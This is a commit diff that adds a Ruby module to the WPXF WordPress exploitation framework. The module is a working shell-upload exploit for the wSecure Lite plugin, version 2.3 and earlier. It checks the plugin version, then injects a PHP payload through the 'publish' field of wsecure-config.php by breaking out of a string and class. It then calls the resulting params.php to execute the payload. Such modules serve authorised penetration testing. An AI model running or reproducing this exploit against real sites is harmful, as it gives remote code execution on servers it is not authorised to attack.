Add wSecure Lite shell upload module

Author: rastating

modules/exploits/wsecure_lite_shell_upload.rb

@@ -0,0 +1,55 @@
+class Wpxf::Exploit::WsecureLiteShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'wSecure Lite <= 2.3 Shell Upload',
+      author: [
+        'White Fir Design',               # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8594'],
+        ['URL', 'https://www.pluginvulnerabilities.com/2016/07/12/remote-code-execution-rce-vulnerability-in-wsecure-lite/']
+      ],
+      date: 'Aug 02 2016'
+    )
+  end
+
+  def plugin_url
+    normalize_uri(wordpress_url_plugins, 'wsecure')
+  end
+
+  def check
+    readme = normalize_uri(plugin_url, 'readme.txt')
+    check_version_from_custom_file(readme, /Version\s(\d\.\d)\s\-/, '2.4')
+  end
+
+  def payload_field_value
+    "\";} ?> #{payload.encoded} <?php class #{Utility::Text.rand_alpha(5)} { var $#{Utility::Text.rand_alpha(10)}=\""
+  end
+
+  def payload_body_builder
+    builder = Wpxf::Utility::BodyBuilder.new
+    builder.add_field('wsecure_action', 'update')
+    builder.add_field('publish', payload_field_value)
+    builder
+  end
+
+  def uploader_url
+    normalize_uri(plugin_url, 'wsecure-config.php')
+  end
+
+  def uploaded_payload_location
+    normalize_uri(plugin_url, 'params.php')
+  end
+
+  def execute_payload(payload_url)
+    # The file handle from the request to wsecure-config.php doesn't seem to close right away
+    # so a delay is required before accessing params.php in order to execute the payload.
+    sleep(5)
+    super(payload_url)
+  end
+end